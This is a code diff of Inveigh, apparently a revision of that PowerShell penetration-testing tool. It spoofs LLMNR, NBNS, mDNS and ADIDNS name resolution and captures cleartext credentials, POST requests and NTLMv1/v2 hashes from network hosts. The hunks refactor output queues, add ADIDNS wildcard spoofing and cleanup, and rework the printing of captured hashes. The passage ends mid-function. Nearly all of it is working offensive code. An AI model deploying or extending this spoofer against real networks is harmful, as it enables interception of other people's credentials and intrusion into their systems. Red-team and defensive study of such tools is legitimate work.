([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + 0x00,0x00,0x00,0x00 - $inveigh.console_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") > $null $NBNS_paused = $false $NBNS_bruteforce_UDP_client = New-Object System.Net.Sockets.UdpClient(137) $destination_IP = [System.Net.IPAddress]::Parse($NBNSBruteForceTarget) $destination_point = New-Object Net.IPEndpoint($destination_IP,137) $NBNS_bruteforce_UDP_client.Connect($destination_point) - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Starting NBNS brute force spoofer to resolve $NBNSBruteForceHost on $NBNSBruteForceTarget") - } while($inveigh.running) { @@ -3675,19 +4409,8 @@ $NBNS_bruteforce_spoofer_scriptblock = if($NBNS_paused) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Resuming NBNS brute force spoofer") > $null $NBNS_paused = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Resuming NBNS brute force spoofer") - } - } for ($i = 0; $i -lt 255; $i++) @@ -3701,20 +4424,9 @@ $NBNS_bruteforce_spoofer_scriptblock = if($inveigh.hostname_spoof -and $NBNSBruteForcePause) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Pausing NBNS brute force spoofer") > $null $NBNS_paused = $true break NBNS_spoofer_loop - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Pausing NBNS brute force spoofer") - } - } } @@ -3730,16 +4442,38 @@ $NBNS_bruteforce_spoofer_scriptblock = } # Control Loop ScriptBlock -$control_scriptblock = +$control_scriptblock = { - param ($ConsoleQueueLimit,$NBNSBruteForcePause,$RunCount,$RunTime) + param ($ADIDNSCleanup,[System.Management.Automation.PSCredential]$ADIDNSCredential,$ADIDNSDomain, + $ADIDNSDomainController,$ADIDNSForest,$ADIDNSHostsIgnore,$ADIDNSPartition,$ADIDNSThreshold,$ADIDNSTTL, + $ADIDNSZone,$ConsoleQueueLimit,$NBNSBruteForcePause,$RunCount,$RunTime,$SpooferIP) - $inveigh.control = $true - - function StopInveigh + function Invoke-OutputQueueLoop { - param ([String]$exit_message) + while($inveigh.output_queue.Count -gt 0) + { + $inveigh.console_queue.Add($inveigh.output_queue[0]) > $null + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } + + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null + } + + $inveigh.output_queue.RemoveAt(0) + } + + } + + function Stop-InveighRunspace + { + param ([String]$Message) + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) { @@ -3749,7 +4483,7 @@ $control_scriptblock = $certificate_store.Open('ReadWrite') $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - ForEach($certificate in $certificates) + foreach($certificate in $certificates) { $certificate_store.Remove($certificate) } @@ -3758,64 +4492,104 @@ $control_scriptblock = } catch { - $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] SSL Certificate Deletion Error [Remove Manually]") > $null + } - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - } + } + + if($ADIDNSCleanup -eq 'Y' -and $inveigh.ADIDNS -eq 'Wildcard') + { + + try + { + Disable-ADIDNSNode -Credential $ADIDNSCredential -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node '*' -Partition $ADIDNSPartition -Zone $ADIDNSZone + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null + } + + } + + if($ADIDNSCleanup -eq 'Y' -and $inveigh.ADIDNS -eq 'Combo' -and $inveigh.ADIDNS_table.Count -gt 0) + { + $ADIDNS_table_keys_temp = $inveigh.ADIDNS_table.Keys - if($inveigh.log_output) + foreach($ADIDNS_host in $ADIDNS_table_keys_temp) + { + + if($inveigh.ADIDNS_table.$ADIDNS_host -eq 1) { - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + + try + { + Disable-ADIDNSNode -Credential $ADIDNSCredential -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node $ADIDNS_host -Partition $ADIDNSPartition -Zone $ADIDNSZone + $inveigh.ADIDNS_table.$ADIDNS_host = $null + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] ADIDNS host (A) record for $ADIDNS_host remove failed") > $null + } + } } } - if($inveigh.running) + if($inveigh.relay_running) { - Start-Sleep -S 1 - $inveigh.console_queue.Add("Inveigh exited due to $exit_message at $(Get-Date -format 's')") + Start-Sleep -m 100 - if($inveigh.file_output) + if($Message) + { + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting due to $Message") > $null + } + else { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting") > $null } - if($inveigh.log_output) + if(!$inveigh.running) { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") + Invoke-OutputQueueLoop + Start-Sleep -m 100 } - Start-Sleep -S 1 - $inveigh.running = $false + $inveigh.relay_running = $false } - if($inveigh.relay_running) + if($inveigh.running) { - Start-Sleep -S 1 - $inveigh.console_queue.Add("Inveigh Relay exited due to $exit_message at $(Get-Date -format 's')") + Start-Sleep -m 100 - if($inveigh.file_output) + if($Message) { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting due to $Message") > $null } - - if($inveigh.log_output) + else { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting") > $null } - Start-Sleep -S 1 - $inveigh.relay_running = $false - - } + Invoke-OutputQueueLoop + Start-Sleep -m 100 + $inveigh.running = $false + } $inveigh.HTTPS = $false } + if($inveigh.ADIDNS -eq 'Wildcard') + { + Invoke-ADIDNSSpoofer -Credential $ADIDNSCredential -Data $SpooferIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Forest $ADIDNSForest -Node '*' -Partition $ADIDNSPartition -TTL $ADIDNSTTL -Zone $ADIDNSZone + } + if($NBNSBruteForcePause) { $NBNS_pause = New-TimeSpan -Seconds $NBNSBruteForcePause @@ -3849,7 +4623,7 @@ $control_scriptblock = if($inveigh.NTLMv1_list.Count -ge $run_count_NTLMv1 -or $inveigh.NTLMv2_list.Count -ge $run_count_NTLMv2 -or $inveigh.cleartext_list.Count -ge $run_count_cleartext) { - StopInveigh "run count" + Stop-InveighRunspace "reaching run count" } } @@ -3859,9 +4633,26 @@ $control_scriptblock = if($control_stopwatch.Elapsed -ge $control_timeout) { - StopInveigh "run time" + Stop-InveighRunspace "reaching run time" + } + + } + + if($inveigh.ADIDNS -eq 'Combo' -and $inveigh.request_table_updated) + { + + try + { + Invoke-ADIDNSCheck -Credential $ADIDNSCredential -Data $SpooferIP -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Forest $ADIDNSForest -Ignore $ADIDNSHostsIgnore -Partition $ADIDNSPartition -RequestTable $inveigh.request_table -Threshold $ADIDNSThreshold -TTL $ADIDNSTTL -Zone $ADIDNSZone + } + catch + { + $error_message = $_.Exception.Message + $error_message = $error_message -replace "`n","" + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null } + $inveigh.request_table_updated = $false } if($inveigh.file_output) @@ -3909,17 +4700,29 @@ $control_scriptblock = } + if(!$inveigh.status_output) + { + Invoke-OutputQueueLoop + } + Start-Sleep -m 5 + + if($inveigh.stop) + { + $inveigh.console_queue.Clear() + Stop-InveighRunspace + Start-Sleep -S 1 + } + } - $inveigh.control = $false } -# End ScriptBlocks -# Begin Startup Functions +#endregion +#region begin startup functions # HTTP Listener Startup Function -function HTTPListener() +function HTTPListener { $proxy_listener = $false $HTTPS_listener = $false @@ -3932,9 +4735,8 @@ function HTTPListener() $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPPort).AddArgument( $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( - $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( - $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument( + $Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( $WPADAuthIgnore).AddArgument($WPADResponse) > $null $HTTP_powershell.BeginInvoke() > $null } @@ -3942,7 +4744,7 @@ function HTTPListener() Start-Sleep -m 50 # HTTPS Listener Startup Function -function HTTPSListener() +function HTTPSListener { $proxy_listener = $false $HTTPS_listener = $true @@ -3955,9 +4757,8 @@ function HTTPSListener() $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($HTTPIP).AddArgument($HTTPSPort).AddArgument( $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( - $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( - $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument( + $Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( $WPADAuthIgnore).AddArgument($WPADResponse) > $null $HTTPS_powershell.BeginInvoke() > $null } @@ -3965,7 +4766,7 @@ function HTTPSListener() Start-Sleep -m 50 # Proxy Listener Startup Function -function ProxyListener() +function ProxyListener { $proxy_listener = $true $HTTPS_listener = $false @@ -3978,15 +4779,14 @@ function ProxyListener() $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument($HTTPAuth).AddArgument( $HTTPBasicRealm).AddArgument($HTTPContentType).AddArgument($ProxyIP).AddArgument($ProxyPort).AddArgument( $HTTPDefaultEXE).AddArgument($HTTPDefaultFile).AddArgument($HTTPDir).AddArgument( - $HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument($HTTPResponse).AddArgument( - $HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument($Proxy).AddArgument( - $ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( + $HTTPResponse).AddArgument($HTTPS_listener).AddArgument($NBNSBruteForcePause).AddArgument( + $Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument($WPADAuth).AddArgument( $WPADAuthIgnore).AddArgument($WPADResponse) > $null $proxy_powershell.BeginInvoke() > $null } # Sniffer/Spoofer Startup Function -function SnifferSpoofer() +function SnifferSpoofer { $sniffer_runspace = [RunspaceFactory]::CreateRunspace() $sniffer_runspace.Open() @@ -3995,18 +4795,19 @@ function SnifferSpoofer() $sniffer_powershell.Runspace = $sniffer_runspace $sniffer_powershell.AddScript($shared_basic_functions_scriptblock) > $null $sniffer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null - $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($IP).AddArgument($LLMNR).AddArgument( - $LLMNR_response_message).AddArgument($LLMNRTTL).AddArgument($mDNS).AddArgument( + $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($EvadeRG).AddArgument($IP).AddArgument( + $LLMNR).AddArgument($LLMNR_response_message).AddArgument($LLMNRTTL).AddArgument($mDNS).AddArgument( $mDNS_response_message).AddArgument($mDNSTypes).AddArgument($mDNSTTL).AddArgument( - $NBNS).AddArgument($NBNS_response_message).AddArgument($NBNSTypes).AddArgument($NBNSTTL).AddArgument( + $NBNS).AddArgument($NBNS_response_message).AddArgument($NBNSTTL).AddArgument($NBNSTypes).AddArgument( $SMB).AddArgument($SpooferHostsIgnore).AddArgument($SpooferHostsReply).AddArgument( $SpooferIP).AddArgument($SpooferIPsIgnore).AddArgument($SpooferIPsReply).AddArgument( - $SpooferLearning).AddArgument($SpooferLearningDelay).AddArgument($SpooferLearningInterval) > $null + $SpooferLearning).AddArgument($SpooferLearningDelay).AddArgument($SpooferLearningInterval).AddArgument( + $SpooferNonprintable).AddArgument($SpooferThresholdHost).AddArgument($SpooferThresholdNetwork) > $null $sniffer_powershell.BeginInvoke() > $null } # Unprivileged LLMNR Spoofer Startup Function -function LLMNRSpoofer() +function LLMNRSpoofer { $LLMNR_spoofer_runspace = [RunspaceFactory]::CreateRunspace() $LLMNR_spoofer_runspace.Open() @@ -4017,12 +4818,12 @@ function LLMNRSpoofer() $LLMNR_spoofer_powershell.AddScript($LLMNR_spoofer_scriptblock).AddArgument($Inspect).AddArgument( $LLMNR_response_message).AddArgument($SpooferIP).AddArgument($SpooferHostsReply).AddArgument( $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( - $LLMNRTTL) > $null + $SpooferNonprintable).AddArgument($LLMNRTTL) > $null $LLMNR_spoofer_powershell.BeginInvoke() > $null } # Unprivileged mDNS Spoofer Startup Function -function mDNSSpoofer() +function mDNSSpoofer { $mDNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() $mDNS_spoofer_runspace.Open() @@ -4038,7 +4839,7 @@ function mDNSSpoofer() } # Unprivileged NBNS Spoofer Startup Function -function NBNSSpoofer() +function NBNSSpoofer { $NBNS_spoofer_runspace = [RunspaceFactory]::CreateRunspace() $NBNS_spoofer_runspace.Open() @@ -4047,14 +4848,14 @@ function NBNSSpoofer() $NBNS_spoofer_powershell.Runspace = $NBNS_spoofer_runspace $NBNS_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null $NBNS_spoofer_powershell.AddScript($NBNS_spoofer_scriptblock).AddArgument($Inspect).AddArgument( - $NBNS_response_message).AddArgument($SpooferIP).AddArgument($NBNSTypes).AddArgument( - $SpooferHostsReply).AddArgument($SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument( - $SpooferIPsIgnore).AddArgument($NBNSTTL) > $null + $IP).AddArgument($NBNS_response_message).AddArgument($NBNSTTL).AddArgument($NBNSTypes).AddArgument( + $SpooferIP).AddArgument($SpooferHostsIgnore).AddArgument($SpooferHostsReply).AddArgument( + $SpooferIPsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferNonprintable) > $null $NBNS_spoofer_powershell.BeginInvoke() > $null } # NBNS Brute Force Spoofer Startup Function -function NBNSBruteForceSpoofer() +function NBNSBruteForceSpoofer { $NBNS_bruteforce_spoofer_runspace = [RunspaceFactory]::CreateRunspace() $NBNS_bruteforce_spoofer_runspace.Open() @@ -4063,13 +4864,13 @@ function NBNSBruteForceSpoofer() $NBNS_bruteforce_spoofer_powershell.Runspace = $NBNS_bruteforce_spoofer_runspace $NBNS_bruteforce_spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null $NBNS_bruteforce_spoofer_powershell.AddScript($NBNS_bruteforce_spoofer_scriptblock).AddArgument( - $SpooferIP).AddArgument($NBNSBruteForceHost).AddArgument($NBNSBruteForceTarget).AddArgument( - $NBNSBruteForcePause).AddArgument($NBNSTTL) > $null + $NBNSBruteForceHost).AddArgument($NBNSBruteForcePause).AddArgument($NBNSBruteForceTarget).AddArgument( + $NBNSTTL).AddArgument($SpooferIP) > $null $NBNS_bruteforce_spoofer_powershell.BeginInvoke() > $null } # Control Loop Startup Function -function ControlLoop() +function ControlLoop { $control_runspace = [RunspaceFactory]::CreateRunspace() $control_runspace.Open() @@ -4077,14 +4878,18 @@ function ControlLoop() $control_powershell = [PowerShell]::Create() $control_powershell.Runspace = $control_runspace $control_powershell.AddScript($shared_basic_functions_scriptblock) > $null - $control_powershell.AddScript($control_scriptblock).AddArgument($ConsoleQueueLimit).AddArgument( - $NBNSBruteForcePause).AddArgument($RunCount).AddArgument($RunTime) > $null + $control_powershell.AddScript($ADIDNS_functions_scriptblock) > $null + $control_powershell.AddScript($control_scriptblock).AddArgument($ADIDNSCleanup).AddArgument( + $ADIDNSCredential).AddArgument($ADIDNSDomain).AddArgument($ADIDNSDomainController).AddArgument( + $ADIDNSForest).AddArgument($ADIDNSHostsIgnore).AddArgument($ADIDNSPartition).AddArgument( + $ADIDNSThreshold).AddArgument($ADIDNSTTL).AddArgument($ADIDNSZone).AddArgument( + $ConsoleQueueLimit).AddArgument($NBNSBruteForcePause).AddArgument($RunCount).AddArgument( + $RunTime).AddArgument($SpooferIP) > $null $control_powershell.BeginInvoke() > $null } -# End Startup Functions - -# Startup Enabled Services +#endregion +#region begin startup enabled services # HTTP Server Start if($HTTP -eq 'Y') @@ -4141,10 +4946,7 @@ if($NBNSBruteForce -eq 'Y') } # Control Loop Start -if($ConsoleQueueLimit -ge 0 -or $inveigh.file_output -or $NBNSBruteForcePause -or $RunCount -or $RunTime) -{ - ControlLoop -} +ControlLoop # Console Output Loop try @@ -4168,7 +4970,7 @@ try switch -wildcard ($inveigh.console_queue[0]) { - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} { if($inveigh.output_stream_only) @@ -4201,7 +5003,6 @@ try } $inveigh.console_queue.RemoveAt(0) - } {$_ -like "* response sent" -or $_ -like "* ignoring *" -or $_ -like "* HTTP*request for *" -or $_ -like "* Proxy request for *"} @@ -4249,11 +5050,13 @@ try if($inveigh.cleartext_list.Count -gt 0) { - Write-Output("$(Get-Date -format 's') - Current unique cleartext captures:" + $inveigh.newline) + Write-Output("[*] [$(Get-Date -format s)] Current unique cleartext captures:" + $inveigh.newline) $inveigh.cleartext_list.Sort() + $cleartext_list_temp = $inveigh.cleartext_list - foreach($unique_cleartext in $inveigh.cleartext_list) + foreach($unique_cleartext in $cleartext_list_temp) { + if($unique_cleartext -ne $unique_cleartext_last) { Write-Output($unique_cleartext + $inveigh.newline) @@ -4266,16 +5069,18 @@ try } else { - Write-Output("$(Get-Date -format 's') - No cleartext credentials have been captured" + $inveigh.newline) + Write-Output("[+] [$(Get-Date -format s)] No cleartext credentials have been captured" + $inveigh.newline) } if($inveigh.POST_request_list.Count -gt 0) { - Write-Output("$(Get-Date -format 's') - Current unique POST request captures:" + $inveigh.newline) + Write-Output("[*] [$(Get-Date -format s)] Current unique POST request captures:" + $inveigh.newline) $inveigh.POST_request_list.Sort() + $POST_request_list_temp = $inveigh.POST_request_list - foreach($unique_POST_request in $inveigh.POST_request_list) + foreach($unique_POST_request in $POST_request_list_temp) { + if($unique_POST_request -ne $unique_POST_request_last) { Write-Output($unique_POST_request + $inveigh.newline) @@ -4289,10 +5094,11 @@ try if($inveigh.NTLMv1_list.Count -gt 0) { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) + Write-Output("[*] [$(Get-Date -format s)] Current unique NTLMv1 challenge/response captures:" + $inveigh.newline) $inveigh.NTLMv1_list.Sort() + $NTLMv1_list_temp = $inveigh.NTLMv1_list - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + foreach($unique_NTLMv1 in $NTLMv1_list_temp) { $unique_NTLMv1_account = $unique_NTLMv1.SubString(0,$unique_NTLMv1.IndexOf(":",($unique_NTLMv1.IndexOf(":") + 2))) @@ -4306,9 +5112,10 @@ try $unique_NTLMv1_account_last = '' Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) + Write-Output("[*] [$(Get-Date -format s)] Current NTLMv1 IP addresses and usernames:" + $inveigh.newline) + $NTLMv1_username_list_temp = $inveigh.NTLMv1_username_list - foreach($NTLMv1_username in $inveigh.NTLMv1_username_list) + foreach($NTLMv1_username in $NTLMv1_username_list_temp) { Write-Output($NTLMv1_username + $inveigh.newline) } @@ -4317,15 +5124,16 @@ try } else { - Write-Output("$(Get-Date -format 's') - No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) + Write-Output("[+] [$(Get-Date -format s)] No NTLMv1 challenge/response hashes have been captured" + $inveigh.newline) } if($inveigh.NTLMv2_list.Count -gt 0) { - Write-Output("$(Get-Date -format 's') - Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) + Write-Output("[*] [$(Get-Date -format s)] Current unique NTLMv2 challenge/response captures:" + $inveigh.newline) $inveigh.NTLMv2_list.Sort() + $NTLMv2_list_temp = $inveigh.NTLMv2_list - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + foreach($unique_NTLMv2 in $NTLMv2_list_temp) { $unique_NTLMv2_account = $unique_NTLMv2.SubString(0,$unique_NTLMv2.IndexOf(":",($unique_NTLMv2.IndexOf(":") + 2))) @@ -4339,9 +5147,10 @@ try $unique_NTLMv2_account_last = '' Start-Sleep -m 5 - Write-Output("$(Get-Date -format 's') - Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) + Write-Output("[*] [$(Get-Date -format s)] Current NTLMv2 IP addresses and usernames:" + $inveigh.newline) + $NTLMv2_username_list_temp = $inveigh.NTLMv2_username_list - foreach($NTLMv2_username in $inveigh.NTLMv2_username_list) + foreach($NTLMv2_username in $NTLMv2_username_list_temp) { Write-Output($NTLMv2_username + $inveigh.newline) } @@ -4349,11 +5158,10 @@ try } else { - Write-Output("$(Get-Date -format 's') - No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) + Write-Output("[+] [$(Get-Date -format s)] No NTLMv2 challenge/response hashes have been captured" + $inveigh.newline) } $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - } if($inveigh.console_input) @@ -4384,8 +5192,8 @@ finally } } -#End Invoke-Inveigh - +#endregion +#region begin support functions function Stop-Inveigh { <# @@ -4393,91 +5201,22 @@ function Stop-Inveigh Stop-Inveigh will stop all running Inveigh functions. #> -if($inveigh) -{ - - if($inveigh.running -or $inveigh.relay_running) + if($inveigh) { - - if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + $inveigh.stop = $true + + if($inveigh.running -or $inveigh.relay_running) { - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) - - ForEach($certificate in $certificates) - { - $certificate_store.Remove($certificate) - } - - $certificate_store.Close() - } - catch - { - Write-Output("SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") > $null - } - - } - + $inveigh.console_queue.Clear() + Watch-Inveigh -NoConsoleMessage + Start-Sleep -S 2 } - - if($inveigh.relay_running) - { - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh Relay exited" | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited") > $null - } - - Write-Output("Inveigh Relay exited at $(Get-Date -format 's')") - $inveigh.relay_running = $false - - } - - if($inveigh.running) + else { - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - Inveigh exited" | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited") > $null - } - - Write-Output("Inveigh exited at $(Get-Date -format 's')") - $inveigh.running = $false - + Write-Output "[-] There are no running Inveigh functions" } - $inveigh.HTTPS = $false - Start-Sleep -S 5 } - else - { - Write-Output("There are no running Inveigh functions") - } - -} } @@ -4490,6 +5229,12 @@ Get-Inveigh will get stored Inveigh data from memory. .PARAMETER Console Get queued console output. This is also the default if no parameters are set. +.PARAMETER ADIDNS +Get added DNS host records. + +.PARAMETER ADIDNSFailed +Get failed DNS host record adds. + .PARAMETER Learning Get valid hosts discovered through spoofer learning. @@ -4509,7 +5254,7 @@ Get captured NTLMv1 challenge/response hashes. Get the first captured NTLMv1 challenge/response for each unique account. .PARAMETER NTLMv1Usernames -Get IP addresses and usernames for captured NTLMv2 challenge/response hashes. +Get IP addresses and usernames for captured NTLMv1 challenge/response hashes. .PARAMETER NTLMv2 Get captured NTLMv1 challenge/response hashes. @@ -4525,149 +5270,214 @@ Get captured POST requests. .PARAMETER POSTRequestUnique Get unique captured POST request. -#> - -[CmdletBinding()] -param -( - [parameter(Mandatory=$false)][Switch]$Cleartext, - [parameter(Mandatory=$false)][Switch]$CleartextUnique, - [parameter(Mandatory=$false)][Switch]$Console, - [parameter(Mandatory=$false)][Switch]$Learning, - [parameter(Mandatory=$false)][Switch]$Log, - [parameter(Mandatory=$false)][Switch]$NTLMv1, - [parameter(Mandatory=$false)][Switch]$NTLMv2, - [parameter(Mandatory=$false)][Switch]$NTLMv1Unique, - [parameter(Mandatory=$false)][Switch]$NTLMv2Unique, - [parameter(Mandatory=$false)][Switch]$NTLMv1Usernames, - [parameter(Mandatory=$false)][Switch]$NTLMv2Usernames, - [parameter(Mandatory=$false)][Switch]$POSTRequest, - [parameter(Mandatory=$false)][Switch]$POSTRequestUnique, - [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) -if($Console -or $PSBoundParameters.Count -eq 0) -{ +.PARAMETER Session +Get relay session list. +#> - while($inveigh.console_queue.Count -gt 0) + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][Switch]$Cleartext, + [parameter(Mandatory=$false)][Switch]$CleartextUnique, + [parameter(Mandatory=$false)][Switch]$Console, + [parameter(Mandatory=$false)][Switch]$ADIDNS, + [parameter(Mandatory=$false)][Switch]$ADIDNSFailed, + [parameter(Mandatory=$false)][Switch]$Learning, + [parameter(Mandatory=$false)][Switch]$Log, + [parameter(Mandatory=$false)][Switch]$NTLMv1, + [parameter(Mandatory=$false)][Switch]$NTLMv2, + [parameter(Mandatory=$false)][Switch]$NTLMv1Unique, + [parameter(Mandatory=$false)][Switch]$NTLMv2Unique, + [parameter(Mandatory=$false)][Switch]$NTLMv1Usernames, + [parameter(Mandatory=$false)][Switch]$NTLMv2Usernames, + [parameter(Mandatory=$false)][Switch]$POSTRequest, + [parameter(Mandatory=$false)][Switch]$POSTRequestUnique, + [parameter(Mandatory=$false)][Switch]$Session, + [parameter(Mandatory=$false)][Switch]$Enumerate, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if($Console -or $PSBoundParameters.Count -eq 0) { - if($inveigh.output_stream_only) - { - Write-Output($inveigh.console_queue[0] + $inveigh.newline) - $inveigh.console_queue.RemoveAt(0) - } - else + while($inveigh.console_queue.Count -gt 0) { - switch -wildcard ($inveigh.console_queue[0]) + if($inveigh.output_stream_only) + { + Write-Output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveAt(0) + } + else { - {$_ -like "* written to *" -or $_ -like "* for relay *" -or $_ -like "*SMB relay *" -or $_ -like "* local administrator *"} + switch -wildcard ($inveigh.console_queue[0]) { - Write-Warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) - } - default - { - Write-Output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveAt(0) + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} + { + Write-Warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + + default + { + Write-Output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveAt(0) + } + } } + + } + + } + + if($ADIDNS) + { + $ADIDNS_table_keys_temp = $inveigh.ADIDNS_table.Keys + + foreach($ADIDNS_host in $ADIDNS_table_keys_temp) + { + + 